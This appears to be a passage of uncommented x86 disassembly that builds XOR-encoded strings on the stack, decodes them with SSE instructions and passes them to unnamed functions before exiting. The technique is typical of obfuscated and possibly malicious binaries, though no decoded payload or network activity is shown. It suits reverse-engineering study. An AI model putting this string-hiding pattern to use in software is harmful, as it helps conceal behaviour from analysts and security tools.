mov dword [ebp - 0x12d8], 0x80bdb4b2
mov dword [ebp - 0x12d4], 0x1a8ef469
mov dword [ebp - 0x1330], 0x86a8f59b
mov dword [ebp - 0x132c], 0x95ffe16b
mov dword [ebp - 0x1328], 0xaf4828d
mov dword [ebp - 0x1324], 0xd9052760
movaps xmm1, xmmword [ebp - 0x1330]
mov dword [ebp - 0x8d0], 0xe2c99ad7
mov dword [ebp - 0x8cc], 0xe3df930e
mov dword [ebp - 0x8c8], 0x6387f0e8
mov dword [ebp - 0x8c4], 0xba25490f
pxor xmm1, xmmword [ebp - 0x8d0]
movaps xmmword [ebp - 0x1330], xmm1
mov dword [ebp - 0x8c0], 0x81dffb59
mov dword [ebp - 0x8bc], 0x8d84d620
mov dword [ebp - 0x8b8], 0x4ca9096a
mov dword [ebp - 0x8b4], 0xe14dbf41
movaps xmm1, xmmword [ebp - 0x8c0]
pxor xmm1, xmmword [ebp - 0x1320]
movaps xmmword [ebp - 0x1320], xmm1
mov dword [ebp - 0x8b0], 0x7fb865fb
mov dword [ebp - 0x8ac], 0xc417afd2
mov dword [ebp - 0x8a8], 0x7d0df9c
mov dword [ebp - 0x8a4], 0xed779233
movaps xmm1, xmmword [ebp - 0x8b0]
pxor xmm1, xmmword [ebp - 0x1310]
movaps xmmword [ebp - 0x1310], xmm1
mov dword [ebp - 0x8a0], 0xe2686cd
mov dword [ebp - 0x89c], 0xb84a48b4
mov dword [ebp - 0x898], 0xedb3c4ee
mov dword [ebp - 0x894], 0x465efde5
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1300]
movaps xmmword [ebp - 0x1300], xmm1
mov dword [ebp - 0x890], 0x2f8af93f
mov dword [ebp - 0x88c], 0xc69714d6
mov dword [ebp - 0x888], 0x34147310
mov dword [ebp - 0x884], 0xb1cacf17
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x12f0]
movaps xmmword [ebp - 0x12f0], xmm1
mov dword [ebp - 0x880], 0xa47d7ce1
mov dword [ebp - 0x87c], 0x55dd6328
mov dword [ebp - 0x878], 0x80bdb4b2
mov dword [ebp - 0x874], 0x1a8ef469
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x12e0]
push eax
movaps xmmword [ebp - 0x12e0], xmm1
call fcn.0044b300
add esp, 4
lea ecx, [ebp - 0x2230]
call fcn.0045e3a0
push eax
push 0x66ee50
call fcn.0044b300
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0xb50], 0xb19cdb87
mov dword [ebp - 0xb4c], 0xe3df934b
mov dword [ebp - 0xb48], 0x6387f0e8
lea eax, [ebp - 0xb50]
mov dword [ebp - 0xb44], 0xba25490f
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xb50]
push eax
movaps xmmword [ebp - 0xb50], xmm1
call fcn.005d657d
add esp, 0xc
push 0
call fcn.005d6b1f
lea eax, [ebp - 0x1d38]
mov dword [ebp - 0x1d68], 0x86a8f59b
push eax
lea eax, [ebp - 0x1d68]
mov dword [ebp - 0x1d64], 0x95ffe16b
push eax
lea ecx, [ebp - 0x33e8]
mov dword [ebp - 0x1d60], 0xaf4828d
mov dword [ebp - 0x1d5c], 0xd9052760
mov dword [ebp - 0x1d58], 0xeabc9e31
mov dword [ebp - 0x1d54], 0xe4e5b000
mov dword [ebp - 0x1d50], 0x60cd6c06
mov dword [ebp - 0x1d4c], 0x8421cf61
mov dword [ebp - 0x1d48], 0x5fdd169a
mov dword [ebp - 0x1d44], 0xe46edda6
mov dword [ebp - 0x1d40], 0x6eb1b8fd
mov dword [ebp - 0x1d3c], 0xed7dbc5d
call fcn.0045f450
lea eax, [ebp - 0x1d68]
mov dword [ebp - 0x8a0], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1d98]
mov dword [ebp - 0x89c], 0xe3df930e
push eax
lea ecx, [ebp - 0x33e0]
mov dword [ebp - 0x1d98], 0xe2c99ad7
mov dword [ebp - 0x1d94], 0xe3df930e
mov dword [ebp - 0x898], 0x6387f0e8
mov dword [ebp - 0x894], 0xba25490f
mov dword [ebp - 0x1d90], 0x6387f0e8
mov dword [ebp - 0x1d8c], 0xba25490f
mov dword [ebp - 0x890], 0x81dffb59
mov dword [ebp - 0x88c], 0x8d84d620
mov dword [ebp - 0x1d88], 0x81dffb59
mov dword [ebp - 0x1d84], 0x8d84d620
mov dword [ebp - 0x888], 0x4ca9096a
mov dword [ebp - 0x884], 0xe14dbf41
mov dword [ebp - 0x1d80], 0x4ca9096a
mov dword [ebp - 0x1d7c], 0xe14dbf41
mov dword [ebp - 0x880], 0x7fb865fb
mov dword [ebp - 0x87c], 0xc417afd2
mov dword [ebp - 0x1d78], 0x7fb865fb
mov dword [ebp - 0x1d74], 0xc417afd2
mov dword [ebp - 0x878], 0x7d0df9c
mov dword [ebp - 0x874], 0xed779233
mov dword [ebp - 0x1d70], 0x7d0df9c
mov dword [ebp - 0x1d6c], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1d98]
mov dword [ebp - 0xf60], 0x86a8f59b
push eax
lea eax, [ebp - 0x1dc8]
mov dword [ebp - 0xf5c], 0x95ffe16b
push eax
lea ecx, [ebp - 0x33d8]
mov dword [ebp - 0x1dc8], 0x86a8f59b
mov dword [ebp - 0x1dc4], 0x95ffe16b
mov dword [ebp - 0xf58], 0xaf4828d
mov dword [ebp - 0xf54], 0xd9052760
mov dword [ebp - 0x1dc0], 0xaf4828d
mov dword [ebp - 0x1dbc], 0xd9052760
mov dword [ebp - 0xf50], 0xeabc9e31
mov dword [ebp - 0xf4c], 0xe4e5b000
mov dword [ebp - 0x1db8], 0xeabc9e31
mov dword [ebp - 0x1db4], 0xe4e5b000
mov dword [ebp - 0xf48], 0x60cd6c06
mov dword [ebp - 0xf44], 0x8421cf61
mov dword [ebp - 0x1db0], 0x60cd6c06
mov dword [ebp - 0x1dac], 0x8421cf61
mov dword [ebp - 0xf40], 0x5fdd169a
mov dword [ebp - 0xf3c], 0xe46edda6
mov dword [ebp - 0x1da8], 0x5fdd169a
mov dword [ebp - 0x1da4], 0xe46edda6
mov dword [ebp - 0xf38], 0x6eb1b8fd
mov dword [ebp - 0xf34], 0xed7dbc5d
mov dword [ebp - 0x1da0], 0x6eb1b8fd
mov dword [ebp - 0x1d9c], 0xed7dbc5d
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xf60]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0xf60], xmm1
movaps xmm1, xmmword [ebp - 0x890]
lea eax, [ebp - 0xf60]
pxor xmm1, xmmword [ebp - 0xf50]
movaps xmmword [ebp - 0xf50], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0xf40]
push eax
movaps xmmword [ebp - 0xf40], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x2d00], 0xb19cdb87
lea eax, [ebp - 0x2cf0]
mov dword [ebp - 0x2cfc], 0xe3df934b
lea ecx, [ebp - 0x33d0]
mov dword [ebp - 0x2cf8], 0x6387f0e8
mov dword [ebp - 0x2cf4], 0xba25490f
push eax
lea eax, [ebp - 0x2d00]
push eax
call fcn.0045f450
lea eax, [ebp - 0x2d00]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2d10]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x33c8]
mov dword [ebp - 0x2d10], 0xe2c99ad7
mov dword [ebp - 0x2d0c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2d08], 0x6387f0e8
mov dword [ebp - 0x2d04], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2d10]
mov dword [ebp - 0xad0], 0xb19cdb87
push eax
lea eax, [ebp - 0x2d20]
mov dword [ebp - 0xacc], 0xe3df934b
push eax
lea ecx, [ebp - 0x33c0]
mov dword [ebp - 0x2d20], 0xb19cdb87
mov dword [ebp - 0x2d1c], 0xe3df934b
mov dword [ebp - 0xac8], 0x6387f0e8
mov dword [ebp - 0xac4], 0xba25490f
mov dword [ebp - 0x2d18], 0x6387f0e8
mov dword [ebp - 0x2d14], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xad0]
lea eax, [ebp - 0xad0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xad0], xmm1
call fcn.005d657d
add esp, 4
push 0
call fcn.005d6b1f
lea eax, [ebp - 0x2d20]
mov dword [ebp - 0x2d30], 0xe2ac9af9
push eax
lea eax, [ebp - 0x2d30]
mov dword [ebp - 0x2d2c], 0xe3ba9376
push eax
lea ecx, [ebp - 0x33b8]
mov dword [ebp - 0x2d28], 0x6387f0e8
mov dword [ebp - 0x2d24], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2d30]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2d40]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x33b0]
mov dword [ebp - 0x2d40], 0xe2c99ad7
mov dword [ebp - 0x2d3c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2d38], 0x6387f0e8
mov dword [ebp - 0x2d34], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2d40]
mov dword [ebp - 0xb60], 0xe2ac9af9
push eax
lea eax, [ebp - 0x2d50]
mov dword [ebp - 0xb5c], 0xe3ba9376
push eax
lea ecx, [ebp - 0x33a8]
mov dword [ebp - 0x2d50], 0xe2ac9af9
mov dword [ebp - 0x2d4c], 0xe3ba9376
mov dword [ebp - 0xb58], 0x6387f0e8
mov dword [ebp - 0xb54], 0xba25490f
mov dword [ebp - 0x2d48], 0x6387f0e8
mov dword [ebp - 0x2d44], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x850]
lea ecx, [ebp - 0x2278]
pxor xmm1, xmmword [ebp - 0xb60]
mov edx, 0xe
movaps xmmword [ebp - 0xb60], xmm1
call fcn.0044c1d0
lea ecx, [ebp - 0xb60]
mov byte [ebp - 4], 0xd
push ecx
mov edx, eax
lea ecx, [ebp - 0x2248]
call fcn.00460660
add esp, 4
lea ecx, [ebp - 0x2278]
mov byte [ebp - 4], 0xf
call fcn.0045e100
sub esp, 0x18
lea eax, [ebp - 0x2248]
mov ecx, esp
mov dword [ebp - 0x2b34], esp
push eax
call fcn.0045e230
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x17d8]
push eax
lea eax, [ebp - 0x17f8]
mov dword [ebp - 0x17f8], 0x83a6f6f8
push eax
lea ecx, [ebp - 0x33a0]
mov dword [ebp - 0x17f4], 0xcdadf66a
mov dword [ebp - 0x17f0], 0x11e49e8d
mov dword [ebp - 0x17ec], 0xdf513976
mov dword [ebp - 0x17e8], 0xe8bdd53d
mov dword [ebp - 0x17e4], 0x8d84d64e
mov dword [ebp - 0x17e0], 0x4ca9096a
mov dword [ebp - 0x17dc], 0xe14dbf41
call fcn.0045f450
mov dword [ebp - 0x860], 0xe2c99ad7
mov dword [ebp - 0x85c], 0xe3df930e
lea eax, [ebp - 0x1698]
mov dword [ebp - 0x16b8], 0xe2c99ad7
push eax
lea eax, [ebp - 0x16b8]
mov dword [ebp - 0x16b4], 0xe3df930e
push eax
lea ecx, [ebp - 0x3310]
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x16b0], 0x6387f0e8
mov dword [ebp - 0x16ac], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x16a8], 0x81dffb59
mov dword [ebp - 0x16a4], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x16a0], 0x4ca9096a
mov dword [ebp - 0x169c], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x1678]
mov dword [ebp - 0xe80], 0x83a6f6f8
push eax
lea eax, [ebp - 0x1698]
mov dword [ebp - 0xe7c], 0xcdadf66a
push eax
lea ecx, [ebp - 0x3398]
mov dword [ebp - 0x1698], 0x83a6f6f8
mov dword [ebp - 0x1694], 0xcdadf66a
mov dword [ebp - 0xe78], 0x11e49e8d
mov dword [ebp - 0xe74], 0xdf513976
mov dword [ebp - 0x1690], 0x11e49e8d
mov dword [ebp - 0x168c], 0xdf513976
mov dword [ebp - 0xe70], 0xe8bdd53d
mov dword [ebp - 0xe6c], 0x8d84d64e
mov dword [ebp - 0x1688], 0xe8bdd53d
mov dword [ebp - 0x1684], 0x8d84d64e
mov dword [ebp - 0xe68], 0x4ca9096a
mov dword [ebp - 0xe64], 0xe14dbf41
mov dword [ebp - 0x1680], 0x4ca9096a
mov dword [ebp - 0x167c], 0xe14dbf41
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xe80]
pxor xmm1, xmmword [ebp - 0xe80]
sub esp, 0x18
movaps xmmword [ebp - 0xe80], xmm1
mov ecx, esp
movaps xmm1, xmmword [ebp - 0xe70]
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2b2c], esp
push eax
movaps xmmword [ebp - 0xe70], xmm1
call fcn.0045e6b0
lea eax, [ebp - 0x2d50]
mov byte [ebp - 4], 0x11
push eax
lea eax, [ebp - 0x2d60]
mov dword [ebp - 0x2d60], 0x85abefa7
push eax
lea ecx, [ebp - 0x3390]
mov dword [ebp - 0x2d5c], 0x8da9bd63
mov dword [ebp - 0x2d58], 0x4dff9180
mov dword [ebp - 0x2d54], 0xba48266c
call fcn.0045f450
lea eax, [ebp - 0x2d60]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2d70]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3388]
mov dword [ebp - 0x2d70], 0xe2c99ad7
mov dword [ebp - 0x2d6c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2d68], 0x6387f0e8
mov dword [ebp - 0x2d64], 0xba25490f
call fcn.0045f450
mov dword [ebp - 0xb70], 0x85abefa7
lea eax, [ebp - 0x2d70]
mov dword [ebp - 0xb6c], 0x8da9bd63
push eax
lea eax, [ebp - 0x2d80]
mov dword [ebp - 0x2d80], 0x85abefa7
push eax
lea ecx, [ebp - 0x3380]
mov dword [ebp - 0x2d7c], 0x8da9bd63
mov dword [ebp - 0xb68], 0x4dff9180
mov dword [ebp - 0xb64], 0xba48266c
mov dword [ebp - 0x2d78], 0x4dff9180
mov dword [ebp - 0x2d74], 0xba48266c
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xb70]
lea eax, [ebp - 0xb70]
pxor xmm1, xmmword [ebp - 0x850]
sub esp, 0x18
mov ecx, esp
movaps xmmword [ebp - 0xb70], xmm1
push eax
call fcn.0045e6b0
mov ecx, esi
mov byte [ebp - 4], 0xf
call fcn.00453a30
add esp, 0x48
lea ecx, [ebp - 0x2248]
push 0xc0
call fcn.0045e0f0
mov dl, 1
mov ecx, eax
call fcn.0044c4f0
sub esp, 0x14
lea eax, [ebp - 0x2248]
mov ecx, esp
push eax
call fcn.0045e230
lea ecx, [ebp - 0x840]
call fcn.0044c430
add esp, 0x18
push 0
call fcn.005d6b1f
int3